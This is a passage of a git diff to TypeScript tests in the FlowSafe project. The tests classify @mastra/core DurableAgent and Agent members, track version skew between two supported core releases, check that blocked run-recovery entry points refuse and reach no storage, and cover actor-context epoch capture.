   // Stop an in-flight stream; there is no path from either to starting one.
+  // Classified on the durable level too: DurableAgent shadows both at 1.67.0
+  // and they leave this surface there, and the durable entry carries the reason
+  // for the cross-process reach that override adds.
   'abortRunStream',
   'abortThreadStream',
   'assertSupportsPreparedModels',
+  // Removes pending idle signals from the in-process queue, matched on the
+  // agent core passes — `this`, not the thread-runtime target (:38342) — and on
+  // ids the caller already holds. It cancels work; it starts none.
+  'cancelQueuedMessages',
   // Objective read/write over thread state; drives nothing.
   'clearObjective',
   'combineProcessorsIntoWorkflow',
   'convertTools',
   'deriveSubAgentBackgroundConfig',
+  // Returns the peer advertisements one pubsub instance carries —
+  // agentId/resourceId/threadId plus sourceId and optional label, title and
+  // metadata (storage-MbGlKLkB.js:425-437), and no run ids. sourceId is the
+  // addressing half: claimThreadOwnership's listener drops an
+  // idle-signal-enqueued whose `data.targetSourceId` is not its own, so holding
+  // a peer's sourceId is what lets another process wake that peer's claimed
+  // thread. What bounds the disclosure is the thread DO, not pubsub identity:
+  // the thread runtime falls back to a module-global emitter when the agent
+  // carries none (storage-MbGlKLkB.js:151-152) and flowsafe's own pubsub is
+  // opt-in (do-runner/pubsub.ts), while host-kit/thread-topology.ts:126
+  // addresses the DO by idFromName(threadId), which do-runner/thread-do.ts:8
+  // states serializes every send and subscribe for a thread onto one isolate.
+  // The residual is a host injecting one PubSub across threads through the
+  // init({ pubsub }) seam (do-runner/init.ts:67).
+  'discoverThreadPeers',
   // Field accessor for the durable flag.
   'durable',
+  // Pure title-generation prefilter over a message list (:35450).
+  'filterUiMessagesByThread',
   'formatMessagePartsForTitle',
   'formatMessagesForTitle',
   'formatTools',
@@ -336,6 +427,12 @@ const agentNonExecution = [
   'resolveInputProcessors',
   'resolveModelConfig',
   'resolveModelSelection',
+  // Runs the configured delivery policy for one notification record and returns
+  // a decision. Core reads that decision's `streamOptions` when it wakes an
+  // idle thread (storage-MbGlKLkB.js:2814-2816), inside a try/catch that
+  // degrades to a bare wake — so it feeds a start core makes, and cannot make
+  // one.
+  'resolveNotificationDeliveryDecision',
   'resolveOverrideScorerReferences',
   'resolveSkills',
   'resolveTitleGenerationConfig',
@@ -343,6 +440,9 @@ const agentNonExecution = [
   'resolveToolHooks',
   'setObjective',
   'stripParentToolParts',
+  // Registers a listener that receives queued-message counts for the thread the
+  // caller names (:38348); it discloses a count and drives nothing.
+  'subscribeThreadEvents',
   // Reattaches to a thread's pubsub replay; cannot drive a run.
   'subscribeToThread',
   'updateModelInModelList',
@@ -357,6 +457,114 @@ const agentClassified: readonly string[] = [
   ...agentNonExecution,
 ];
 
+/**
+ * ---------------------------------------------------------------------------
+ * The VERSION SKEW between the two supported cores.
+ *
+ * Both partitions above demand exact equality with the installed surface:
+ * nothing unclassified, nothing stale. But two cores are supported — the
+ * workspace installs the declared peer pin, and the mastra-compat canary job
+ * installs the newest 1.x and runs this suite against that — and one partition
+ * cannot equal two surfaces. So every name whose PRESENCE differs between them
+ * is recorded here, with the prototype level it sits on at each version;
+ * `null` means it is on neither prototype there. A member that MOVED level is
+ * ONE row naming both levels, not two list edits in opposite directions.
+ *
+ * A row excuses its name from the stale check at the level the installed core
+ * does not carry it on. It never excuses it from being classified: every level
+ * a row names must hold that name in one of its lists, so a moved member is
+ * classified on both sides, and the two `unclassified` assertions stay exact in
+ * both directions.
+ *
+ * A row leaves the table when both cores agree. The expiry assertion below says
+ * when, by checking the table's claim about the INSTALLED core rather than
+ * trusting it.
+ * ---------------------------------------------------------------------------
+ */
+type SkewLevel = 'durable' | 'agent' | null;
+
+const VERSION_SKEW = {
+  __markStoredVersionApplied: { pin: null, newest: 'agent' },
+  __setDeclaredSchedules: { pin: null, newest: 'durable' },
+  __setThreadRuntimeAgent: { pin: null, newest: 'agent' },
+  abortRunStream: { pin: 'agent', newest: 'durable' },
+  abortThreadStream: { pin: 'agent', newest: 'durable' },
+  cancelQueuedMessages: { pin: null, newest: 'agent' },
+  claimThreadOwnership: { pin: null, newest: 'agent' },
+  discoverThreadPeers: { pin: null, newest: 'agent' },
+  emitErrorInBackground: { pin: null, newest: 'durable' },
+  filterUiMessagesByThread: { pin: null, newest: 'agent' },
+  getDeclaredSchedules: { pin: null, newest: 'durable' },
+  listActiveThreadRuns: { pin: null, newest: 'agent' },
+  requestRemoteAbort: { pin: null, newest: 'durable' },
+  resolveNotificationDeliveryDecision: { pin: null, newest: 'agent' },
+  subscribeThreadEvents: { pin: null, newest: 'agent' },
+} as const satisfies Record<string, { pin: SkewLevel; newest: SkewLevel }>;
+
+type SkewName = keyof typeof VERSION_SKEW;
+const skewNames = Object.keys(VERSION_SKEW) as SkewName[];
+
+interface FsModule {
+  readFileSync(path: URL, encoding: 'utf8'): string;
+}
+interface ModuleModule {
+  createRequire(url: string): (id: string) => unknown;
+}
+
+/**
+ * Node builtins load through process.getBuiltinModule (the spdx.test.ts
+ * pattern): this file compiles in the workers-typed package test pass, which
+ * has no @types/node to resolve a `node:` specifier against, and this package's
+ * src forbids importing one statically.
+ */
+function builtin<T>(id: string): T {
+  const getBuiltin = (
+    globalThis as {
+      process?: { getBuiltinModule?: (id: string) => unknown };
+    }
+  ).process?.getBuiltinModule;
+  if (!getBuiltin) {
+    throw new Error(`${id} unavailable — tests require node >= 22`);
+  }
+  return getBuiltin(id) as T;
+}
+
+// The workers-typed ImportMeta carries no `url`; at runtime (vitest on node) it
+// is always present.
+const HERE = (import.meta as unknown as { url: string }).url;
+const installedCore = (
+  builtin<ModuleModule>('node:module').createRequire(HERE)(
+    '@mastra/core/package.json',
+  ) as { version: string }
+).version;
+const declaredPeer = (
+  JSON.parse(
+    builtin<FsModule>('node:fs').readFileSync(
+      new URL('../../package.json', HERE),
+      'utf8',
+    ),
+  ) as { peerDependencies: Record<string, string> }
+).peerDependencies['@mastra/core'];
+
+/** Which core is installed decides which half of every row applies. */
+const onPin = installedCore === declaredPeer;
+const levelHere = (name: SkewName): SkewLevel =>
+  onPin ? VERSION_SKEW[name].pin : VERSION_SKEW[name].newest;
+
+/**
+ * The names one level's stale check must excuse: recorded as skewed, not on
+ * that level in the installed core, and classified at that level. The last
+ * clause is load-bearing — it keeps the other level's rows out of this level's
+ * arithmetic, so each length assertion below still counts its own partition.
+ */
+const exemptFor = (
+  level: Exclude<SkewLevel, null>,
+  lists: readonly string[],
+): string[] =>
+  skewNames.filter((name) => levelHere(name) !== level && lists.includes(name));
+const exemptDurable = exemptFor('durable', classified);
+const exemptAgent = exemptFor('agent', agentClassified);
+
 const RUN_ID = 'run-1';
 const APPROVED = { approved: true };
 
@@ -431,7 +639,10 @@ function testAgent(id = 'writer'): Agent {
  * longer merely PROBED: the companion control below drives each of them through
  * a stock DurableAgent on this same spied storage and ASSERTS that the
  * workflows store was reached, so a core that stops touching storage on one of
- * them fails loudly rather than turning its row quietly vacuous.
+ * them fails loudly rather than turning its row quietly vacuous. The vacuous
+ * rows take the inverted half of that control, which drives them the same way
+ * and asserts the store was NOT reached — so each grading below is checked
+ * rather than claimed, in whichever direction it goes.
  *
  *  - Non-vacuous, one store method each: `getWorkflowRunById` for recover and
  *    the whole resume family; `listWorkflowRuns` for recoverActiveRuns,
@@ -442,13 +653,26 @@ function testAgent(id = 'writer'): Agent {
  *    `network()` resolves as soon as it has a stream object, before its loop
  *    settles, so at assertion time the base has touched `getStore` >= 1 rather
  *    than the larger figure a fully drained run reaches. Do not pin a number.
- *  - generateLegacy / streamLegacy: VACUOUS by construction, and therefore the
- *    two rows the control excludes. `testAgent()` uses a v2 model, and the
- *    legacy handler rejects a non-v1 model before touching storage at all, so
- *    the base reaches no store either. Their non-vacuous evidence is the
- *    refusal MESSAGE assertion — the base throws core's model-support error,
- *    the override throws FlowSafe's tabled reason, and only the latter
- *    satisfies the row.
+ *  - generateLegacy / streamLegacy: VACUOUS by construction, and so listed
+ *    in `vacuousByConstruction`, which is where the control splits.
+ *    `testAgent()` uses a v2 model, and the legacy handler rejects a non-v1
+ *    model before touching storage at all, so the base reaches no store
+ *    either. Their non-vacuous evidence is the refusal MESSAGE assertion —
+ *    the base throws core's model-support error, the override throws
+ *    FlowSafe's tabled reason, and only the latter satisfies the row.
+ *  - listActiveThreadRuns / __setThreadRuntimeAgent: VACUOUS by construction
+ *    as well, and in `vacuousByConstruction` on that ground rather than on the
+ *    pin exposing neither of them. In the core that does, @mastra/core 1.67.0,
+ *    `__setThreadRuntimeAgent` writes a private field
+ *    (dist/agent-Dk0N0Nlg.js:33609-33611), and `listActiveThreadRuns` hands
+ *    `getPubSub()` (:33560-33562) to the thread-stream runtime, which reads
+ *    its state from a WeakMap keyed by that pubsub instance
+ *    (dist/storage-MbGlKLkB.js:150, :294-298) and then reads the in-memory maps
+ *    and sets that state holds (:1011-1023). Neither path resolves a store, so
+ *    the base reaches none here either — which is what the inverted control
+ *    asserts on a core that exposes them. Their non-vacuous evidence is the
+ *    refusal MESSAGE assertion too — the base returns where the override
+ *    throws FlowSafe's tabled reason.
  *
  * All spies are installed after construction AND after that resolution, so
  * neither Mastra's own setup nor the resolution itself can be mistaken for a
@@ -544,6 +768,14 @@ const blockedCalls: ReadonlyArray<{
     method: 'listSuspendedRuns',
     invoke: (agent) => agent.listSuspendedRuns(),
   },
+  {
+    method: 'listActiveThreadRuns',
+    // An ASYNC arrow although the member is synchronous, and that is not
+    // decoration: the loop below evaluates invoke(agent) before attaching its
+    // .catch, so a synchronous throw would escape the row that exists to
+    // capture it and fail the test with the refusal it is asserting.
+    invoke: async (agent) => agent.listActiveThreadRuns(),
+  },
   {
     method: 'deleteRunSnapshots',
     invoke: (agent) =>
@@ -608,6 +840,12 @@ const blockedCalls: ReadonlyArray<{
         approved: true,
       }),
   },
+  {
+    method: '__setThreadRuntimeAgent',
+    // Async for the same reason as listActiveThreadRuns. The argument is a
+    // plain Agent because that is exactly what installing one would hand it.
+    invoke: async (agent) => agent.__setThreadRuntimeAgent(testAgent()),
+  },
 ];
 
 describe('FlowsafeDurableAgent prototype surface inventory', () => {
@@ -632,21 +870,26 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => {
     );
     expect(
       unclassified,
-      `@mastra/core exposes new DurableAgent member(s) [${unclassified.join(', ')}]. Read each implementation in the installed dist, then add it to exactly one list in this file: guardedByRunner (needs an INV-1 override), guardedByDelegation (reaches a guarded entry through 'this.'), nonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches ANY of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES in durable-agent-runner.ts with its reason, an override that throws, and a row in blockedCalls below.`,
+      `@mastra/core exposes new DurableAgent member(s) [${unclassified.join(', ')}]. Read each implementation in the installed dist, then add it to exactly one list in this file: guardedByRunner (needs an INV-1 override), guardedByDelegation (reaches a guarded entry through 'this.'), nonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches ANY of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES in durable-agent-runner.ts with its reason, an override that throws, and a row in blockedCalls below. If the OTHER supported core does not carry it here, give it a VERSION_SKEW row too, naming the prototype level it sits on at each version.`,
     ).toEqual([]);
 
-    // #then and nothing classified has since been removed from it
-    const stale = classified.filter((property) => !surface.includes(property));
+    // #then and nothing classified has since been removed from it, beyond the
+    // members a VERSION_SKEW row says this core does not carry here
+    const stale = classified.filter(
+      (property) =>
+        !surface.includes(property) && !exemptDurable.includes(property),
+    );
     expect(
       stale,
-      `this file classifies DurableAgent member(s) [${stale.join(', ')}] that the installed core no longer exposes — drop them, and drop any override that exists only for them.`,
+      `this file classifies DurableAgent member(s) [${stale.join(', ')}] that @mastra/core ${installedCore} does not expose there — drop them, and drop any override that exists only for them, or, if the other supported core carries them, give each a VERSION_SKEW row naming the level it sits on at each version.`,
     ).toEqual([]);
 
-    // #then and the partition covers the surface exactly, name for name
+    // #then and the partition covers the surface exactly, name for name, plus
+    // exactly the skewed members this core does not carry here
     expect(
-      classified,
-      'the classified lists must partition the durable surface exactly — same length means no member is counted twice or missed',
-    ).toHaveLength(surface.length);
+      classified.length,
+      `the classified lists must partition the durable surface exactly — every member once, plus exactly the ${exemptDurable.length} skewed member(s) @mastra/core ${installedCore} does not expose on DurableAgent.prototype`,
+    ).toBe(surface.length + exemptDurable.length);
 
     // #then and it is entirely string-keyed: this partition enumerates own
     // STRING names, so a symbol-keyed execution member would sail past every
@@ -743,23 +986,26 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => {
     );
     expect(
       unclassified,
-      `@mastra/core exposes new inherited Agent member(s) [${unclassified.join(', ')}] that FlowsafeDurableAgent also inherits. Read each implementation in the installed dist, then add it to exactly one list: delegatingToGuard (reaches a guarded or blocked member through 'this.'), agentNonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches any of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES with a reason, an override that throws, and a row in blockedCalls.`,
+      `@mastra/core exposes new inherited Agent member(s) [${unclassified.join(', ')}] that FlowsafeDurableAgent also inherits. Read each implementation in the installed dist, then add it to exactly one list: delegatingToGuard (reaches a guarded or blocked member through 'this.'), agentNonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches any of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES with a reason, an override that throws, and a row in blockedCalls. If the OTHER supported core does not carry it here — because it is newer than the pin, or because DurableAgent shadows it there — give it a VERSION_SKEW row naming the level it sits on at each version, and classify it on every level that row names.`,
     ).toEqual([]);
 
-    // #then and nothing classified has since been removed from it
+    // #then and nothing classified has since been removed from it, beyond the
+    // members a VERSION_SKEW row says this core does not carry here
     const stale = agentClassified.filter(
-      (property) => !agentSurface.includes(property),
+      (property) =>
+        !agentSurface.includes(property) && !exemptAgent.includes(property),
     );
     expect(
       stale,
-      `this file classifies inherited Agent member(s) [${stale.join(', ')}] the installed core no longer exposes there — drop them, and drop any override that exists only for them.`,
+      `this file classifies inherited Agent member(s) [${stale.join(', ')}] that @mastra/core ${installedCore} does not expose there — drop them, and drop any override that exists only for them, or, if DurableAgent has merely started shadowing them, give each a VERSION_SKEW row naming both levels and classify it on the durable side as well.`,
     ).toEqual([]);
 
-    // #then and the surface is the size this file was written against
+    // #then and the partition covers that surface exactly, plus exactly the
+    // skewed members this core does not carry at this level
     expect(
-      agentSurface,
-      'the count of Agent.prototype members DurableAgent does not shadow has moved; re-derive the three Agent-level lists from the installed dist',
-    ).toHaveLength(82);
+      agentClassified.length,
+      `the classified lists must partition the inherited Agent surface exactly — every member once, plus exactly the ${exemptAgent.length} skewed member(s) @mastra/core ${installedCore} does not expose there`,
+    ).toBe(agentSurface.length + exemptAgent.length);
 
     // #then and it is entirely string-keyed: this partition enumerates own
     // STRING names, so a symbol-keyed execution member would sail past every
@@ -770,6 +1016,45 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => {
     ).toEqual([]);
   });
 
+  it('keeps the version-skew table honest against the installed core', () => {
+    // #given the table's two halves are selected by comparing the installed
+    // core with the declared peer, which only means "the pinned run" while that
+    // peer is an EXACT version. Against a range, a pinned install would compare
+    // unequal, take the canary half, and excuse the wrong names on both levels.
+    expect(
+      declaredPeer,
+      'the version-skew halves key on @mastra/core being an exact peer pin; widen the peer and this mechanism must be redesigned',
+    ).toMatch(/^\d+\.\d+\.\d+$/);
+
+    // #when the installed core's two surfaces are enumerated
+    const surface = Object.getOwnPropertyNames(DurableAgent.prototype);
+
+    // #then every level a row names still holds that name in one of the lists
+    // for that level: a row excuses a name from the stale check, it never
+    // classifies it, and a member that moved level is classified on both sides
+    for (const name of skewNames) {
+      for (const level of [VERSION_SKEW[name].pin, VERSION_SKEW[name].newest]) {
+        if (!level) continue;
+        expect(
+          level === 'durable' ? classified : agentClassified,
+          `VERSION_SKEW says ${name} sits on the ${level} prototype at one of the two supported cores, so it must appear in one of that level's partition lists — the row excuses it from the stale check, it does not classify it`,
+        ).toContain(name);
+      }
+    }
+
+    // #then and the table's claim about the INSTALLED core holds. Checking the
+    // claim rather than one direction catches all three ways a row goes wrong —
+    // the pin catches up, the member moves level again, or it dies upstream —
+    // and the message names which of them to look for.
+    for (const name of skewNames) {
+      const claimed = levelHere(name);
+      expect(
+        { durable: surface.includes(name), agent: agentSurface.includes(name) },
+        `VERSION_SKEW says ${name} sits on ${claimed ?? 'neither prototype'} at @mastra/core ${installedCore} (declared peer ${declaredPeer}). Re-read the installed dist: if both supported cores now agree, drop the row and let the stale check cover it again; if it is on neither core, delete it from the classification lists too; if it moved level again, update the row and classify it on the level it moved to.`,
+      ).toEqual({ durable: claimed === 'durable', agent: claimed === 'agent' });
+    }
+  });
+
   it('keeps the base durable delegators out of the inherited surface', () => {
     // #given core also defines resume/recover/... on Agent as standalone
     // delegators. DurableAgent shadows all six, so they never reach this
@@ -821,6 +1106,9 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => {
       // FlowSafe's own members, which core has no say in.
       'constructor',
       'resumeViaRuntime',
+      'authoritativeAgentStartState',
+      'isRunLive',
+      'proofExecutionFor',
       'streamUntilPersisted',
     ].sort();
 
@@ -861,6 +1149,27 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => {
     }
   });
 
+  it('keeps requestRemoteAbort untabled and inherited', () => {
+    // #given the abort primitive core reaches on its own, classified in
+    // nonExecution. Blocking it would be a well-formed block — a tabled reason,
+    // an override and a behavioral row — so the structural assertions above
+    // hold either way and its exemption needs an assertion of its own.
+    const why =
+      'core calls it from #abortDurableRun and from the `abort` closure it returns with each durable stream result, so refusing it rejects the abort handle of every run this class itself started';
+
+    // #then no tabled reason, so nothing here demands an override for it
+    expect(
+      Object.hasOwn(BLOCKED_RUN_ENTRIES, 'requestRemoteAbort'),
+      `requestRemoteAbort() must stay out of BLOCKED_RUN_ENTRIES: ${why}`,
+    ).toBe(false);
+
+    // #then and no own override, which is where a refusal would live
+    expect(
+      Object.hasOwn(FlowsafeDurableAgent.prototype, 'requestRemoteAbort'),
+      `requestRemoteAbort() must stay inherited: ${why}`,
+    ).toBe(false);
+  });
+
   it('keeps resumeViaRuntime as the only resume path', () => {
     // #given resumeViaRuntime is FlowSafe's own, not part of core's surface
     const agent = createFlowsafeDurableAgent({
@@ -951,14 +1260,38 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => {
    * run) — swallowed, because the claim is only that storage was reached BEFORE
    * they did.
    *
-   * generateLegacy/streamLegacy are excluded: they are vacuous by construction,
-   * for the reason registeredAgent() records.
+   * The rows in `vacuousByConstruction` take the inverted control below: their
+   * base path reaches no store to spy on, for the reasons registeredAgent()'s
+   * notes give, so what is worth asserting about them is that absence.
    */
   const vacuousByConstruction: readonly string[] = [
+    '__setThreadRuntimeAgent',
     'generateLegacy',
+    'listActiveThreadRuns',
     'streamLegacy',
   ];
 
+  /**
+   * A member the INSTALLED core does not expose on the base has no base path to
+   * observe in either direction, so neither control can bite on it. Require
+   * that absence to be a RECORDED skew rather than skipping on it: an absence
+   * no VERSION_SKEW row names means the override refuses a member neither
+   * supported core has, and belongs nowhere.
+   */
+  const baseCarries = (agent: DurableAgent, method: string): boolean => {
+    if (
+      typeof (agent as unknown as Record<string, unknown>)[method] ===
+      'function'
+    ) {
+      return true;
+    }
+    expect(
+      skewNames,
+      `${method}() is blocked and has a behavioral row, but @mastra/core ${installedCore} does not expose it on the base at all. Either record it in VERSION_SKEW with the level it holds on the other supported core, or drop the override and its row.`,
+    ).toContain(method);
+    return false;
+  };
+
   for (const { method, invoke } of blockedCalls.filter(
     (call) => !vacuousByConstruction.includes(call.method),
   )) {
@@ -967,6 +1300,7 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => {
       const { agent, getStore } = await registerWithSpies(
         new DurableAgent({ agent: testAgent() }),
       );
+      if (!baseCarries(agent, method)) return;
 
       // #when the base implementation runs
       await invoke(agent as unknown as FlowsafeDurableAgent).catch(
@@ -981,6 +1315,39 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => {
     });
   }
 
+  /**
+   * The inverted control, for the rows the loop above excludes. Their grading —
+   * the base reaches no store either, so the refusal row's "read nothing on the
+   * way out" proves nothing about storage for them — is a claim about core, so
+   * drive them the same way and require the store to stay untouched. A core
+   * that starts reading storage on one of them fails here and the row moves
+   * into the loop above, which is what makes the exclusion expire on its own
+   * rather than rest on the notes.
+   */
+  for (const { method, invoke } of blockedCalls.filter((call) =>
+    vacuousByConstruction.includes(call.method),
+  )) {
+    it(`${method}() reaches no storage on the unmodified base`, async () => {
+      // #given the same spied storage and the same stock DurableAgent
+      const { agent, getStore } = await registerWithSpies(
+        new DurableAgent({ agent: testAgent() }),
+      );
+      if (!baseCarries(agent, method)) return;
+
+      // #when the base implementation runs
+      await invoke(agent as unknown as FlowsafeDurableAgent).catch(
+        () => undefined,
+      );
+
+      // #then it never resolved a store, which is the grading that keeps it out
+      // of the control above
+      expect(
+        getStore,
+        `${method}() now reaches storage on the unmodified base, so its refusal row is no longer vacuous — drop it from vacuousByConstruction, which moves it into the control above, and re-grade it in registeredAgent()'s notes`,
+      ).not.toHaveBeenCalled();
+    });
+  }
+
   it('refuses recoverActiveRuns() with an explicit runId too', async () => {
     // #given the single-target form, which skips listActiveRuns() discovery
     const { agent, getStore, store } = await registeredAgent();
diff --git a/packages/flowsafe/src/agent-runner/index.ts b/packages/flowsafe/src/agent-runner/index.ts
index d2d526d6..dff4ca85 100644
--- a/packages/flowsafe/src/agent-runner/index.ts
+++ b/packages/flowsafe/src/agent-runner/index.ts
@@ -34,6 +34,7 @@ export {
   parseAgentApprovalSuspend,
 } from './approval-shapes.js';
 export {
+  type AgentStartAuthority,
   createFlowsafeDurableAgent,
   DURABLE_AGENTIC_LOOP_WORKFLOW_ID,
   FlowsafeDurableAgent,
diff --git a/packages/flowsafe/src/approval-api/actor-context.test.ts b/packages/flowsafe/src/approval-api/actor-context.test.ts
index f0a26309..9a347fda 100644
--- a/packages/flowsafe/src/approval-api/actor-context.test.ts
+++ b/packages/flowsafe/src/approval-api/actor-context.test.ts
@@ -1,14 +1,24 @@
 // SPDX-License-Identifier: Apache-2.0
 import { describe, expect, it, vi } from 'vitest';
 import { DEPLOYMENT_IDENTITY_HEADER } from '../do-runner/deployment-identity.js';
+import {
+  InvalidMutationEpochError,
+  MUTATION_EPOCH_HEADER,
+} from '../do-runner/execution-admission.js';
 import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/execution-principal-header.js';
 import {
   type ActorContext,
   ActorResolutionError,
   type CreateActorResolverOptions,
+  captureActorContext,
   createActorResolver,
+  createPrincipalActorContext,
+  withRegisteredResourceOwner,
 } from './actor-context.js';
 import type { ApprovalActor } from './contract.js';
+import { type ExecutionPrincipal, humanPrincipal } from './principal.js';
+import type { ResourceOwner } from './resource-ownership.js';
+import { ApprovalService } from './service.js';
 import { InMemoryApprovalStoreFactory } from './store-factory.js';
 
 async function resolveContext(
@@ -29,6 +39,525 @@ async function resolveContext(
   return context;
 }
 
+const contextMethods = [
+  'service',
+  'newRunId',
+  'newThreadId',
+  'resourceIdFromKey',
+  'claimResource',
+  'releaseResource',
+  'resourceOwnerFor',
+  'canAccessResource',
+  'canSelfDecide',
+] as const;
+
+class ReceiverContext implements ActorContext {
+  actor: ApprovalActor = { id: 'original-actor', role: 'operator' };
+  principal: ExecutionPrincipal = {
+    kind: 'human',
+    id: 'principal-1',
+    role: 'admin',
+  };
+  mutationEpoch = 2;
+  deploymentTag = 'original-tag';
+  resourceOwner: ResourceOwner = { kind: 'service', id: 'original-owner' };
+  readonly calls: string[] = [];
+  #service = new ApprovalService({
+    store: new InMemoryApprovalStoreFactory().store(),
+    executionFence: 'none',
+  });
+  service() {
+    this.calls.push('service');
+    return this.#service;
+  }
+  newRunId() {
+    this.calls.push('newRunId');
+    return this.#service ? 'original-run' : '';
+  }
+  newThreadId() {
+    this.calls.push('newThreadId');
+    return this.#service ? 'original-thread' : '';
+  }
+  resourceIdFromKey(key: string) {
+    this.calls.push('resourceIdFromKey');
+    return this.#service ? key : '';
+  }
+  async claimResource() {
+    this.calls.push('claimResource');
+    void this.#service;
+  }
+  async releaseResource() {
+    this.calls.push('releaseResource');
+    void this.#service;
+  }
+  async resourceOwnerFor() {
+    this.calls.push('resourceOwnerFor');
+    return this.#service
+      ? { kind: 'human' as const, id: 'registered' }
+      : undefined;
+  }
+  async canAccessResource() {
+    this.calls.push('canAccessResource');
+    return !!this.#service;
+  }
+  canSelfDecide() {
+    this.calls.push('canSelfDecide');
+    return !!this.#service;
+  }
+}
+
+async function captureWithoutFault(source: ActorContext) {
+  const result = (async () => captureActorContext(source))();
+  await expect(result).resolves.toBeDefined();
+  return result;
+}
+
+async function observeMethods(context: ActorContext) {
+  const results: unknown[] = [];
+  for (const method of contextMethods) {
+    try {
+      switch (method) {
+        case 'service':
+          results.push(context.service() instanceof ApprovalService);
+          break;
+        case 'newRunId':
+          results.push(context.newRunId());
+          break;
+        case 'newThreadId':
+          results.push(context.newThreadId());
+          break;
+        case 'resourceIdFromKey':
+          results.push(context.resourceIdFromKey('key'));
+          break;
+        case 'claimResource':
+          results.push(await context.claimResource('run', 'r'));
+          break;
+        case 'releaseResource':
+          results.push(await context.releaseResource('run', 'r'));
+          break;
+        case 'resourceOwnerFor':
+          results.push(await context.resourceOwnerFor('run', 'r'));
+          break;
+        case 'canAccessResource':
+          results.push(await context.canAccessResource('run', 'r', 'write'));
+          break;
+        case 'canSelfDecide':
+          results.push(context.canSelfDecide('admin'));
+          break;
+      }
+    } catch (error) {
+      results.push(error);
+    }
+  }
+  return results;
+}
+
+const methodResults = [
+  true,
+  'original-run',
+  'original-thread',
+  'key',
+  undefined,
+  undefined,
+  { kind: 'human', id: 'registered' },
+  true,
+  true,
+];
+
+function deferredContext() {
+  let release!: () => void;
+  const promise = new Promise<void>((resolve) => {
+    release = resolve;
+  });
+  return { promise, release };
+}
+
+describe('C context capture', () => {
+  it.each([
+    undefined,
+    0,
+    Number.MAX_SAFE_INTEGER,
+  ])('C constructors capture one epoch observation (%s)', async (epoch) => {
+    const storeFactory = new InMemoryApprovalStoreFactory();
+    const buildService = vi.fn(
+      () =>
+        new ApprovalService({
+          store: storeFactory.store(),
+          executionFence: 'none',
+        }),
+    );
+    const authenticate = vi.fn(() => ({
+      id: 'actor-1',
+      role: 'admin' as const,
+    }));
+    const readEpoch = vi.fn(() => epoch);
+    const options = {
+      get mutationEpoch() {
+        return readEpoch();
+      },
+      authenticate,
+      storeFactory,
+      buildService,
+    };
+    const resolve = createActorResolver(options);
+    expect(readEpoch).toHaveBeenCalledTimes(1);
+    const context = await resolve(new Request('https://host/'));
+    expect(context?.mutationEpoch).toBe(epoch);
+    expect(readEpoch).toHaveBeenCalledTimes(1);
+    const directReads = vi.fn(() => epoch);
+    const direct = createPrincipalActorContext({
+      storeFactory,
+      buildService,
+      get mutationEpoch() {
+        return directReads();
+      },
+      principal: humanPrincipal({ id: 'actor-1', role: 'admin' }),
+    });
+    expect(direct.mutationEpoch).toBe(epoch);
+    expect(directReads).toHaveBeenCalledTimes(1);
+    expect(readEpoch).toHaveBeenCalledTimes(1);
+    expect(buildService).not.toHaveBeenCalled();
+    expect(direct.service()).toBe(direct.service());
+    expect(buildService).toHaveBeenCalledOnce();
+    expect(directReads).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    null,
+    '2',
+    true,
+    1.5,
+    -1,
+    Number.NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('C malformed constructor epoch refuses before effects (%s)', (epoch) => {
+    const storeFactory = new InMemoryApprovalStoreFactory();
+    const resources = vi.spyOn(storeFactory, 'resources');
+    const store = vi.spyOn(storeFactory, 'store');
+    const authenticate = vi.fn();
+    const buildService = vi.fn();
+    const readEpoch = vi.fn(() => epoch);
+    const options = {
+      get mutationEpoch() {
+        return readEpoch();
+      },
+      storeFactory,
+      authenticate,
+      buildService,
+    };
+    expect(() => createActorResolver(options)).toThrow(
+      InvalidMutationEpochError,
+    );
+    const directReads = vi.fn(() => epoch);
+    expect(() =>
+      createPrincipalActorContext({
+        storeFactory,
+        buildService,
+        get mutationEpoch() {
+          return directReads();
+        },
+        principal: humanPrincipal({ id: 'a', role: 'admin' }),
+      }),
+    ).toThrow(InvalidMutationEpochError);
+    expect(readEpoch).toHaveBeenCalledTimes(1);
+    expect(directReads).toHaveBeenCalledTimes(1);
+    expect(resources).not.toHaveBeenCalled();
+    expect(store).not.toHaveBeenCalled();
+    expect(authenticate).not.toHaveBeenCalled();
+    expect(buildService).not.toHaveBeenCalled();
+  });
+
+  it.each(
+    [undefined, 0, Number.MAX_SAFE_INTEGER].flatMap((epoch) =>
+      (['alternate', 'second-throw'] as const).map((mode) => ({ epoch, mode })),
+    ),
+  )('C direct principal context captures its epoch exactly once ($epoch, $mode)', ({
+    epoch,
+    mode,
+  }) => {
+    const factory = new InMemoryApprovalStoreFactory();
+    const build = vi.fn(
+      () =>
+        new ApprovalService({ store: factory.store(), executionFence: 'none' }),
+    );
+    const read = vi
+      .fn<() => unknown>()
+      .mockReturnValueOnce(epoch)
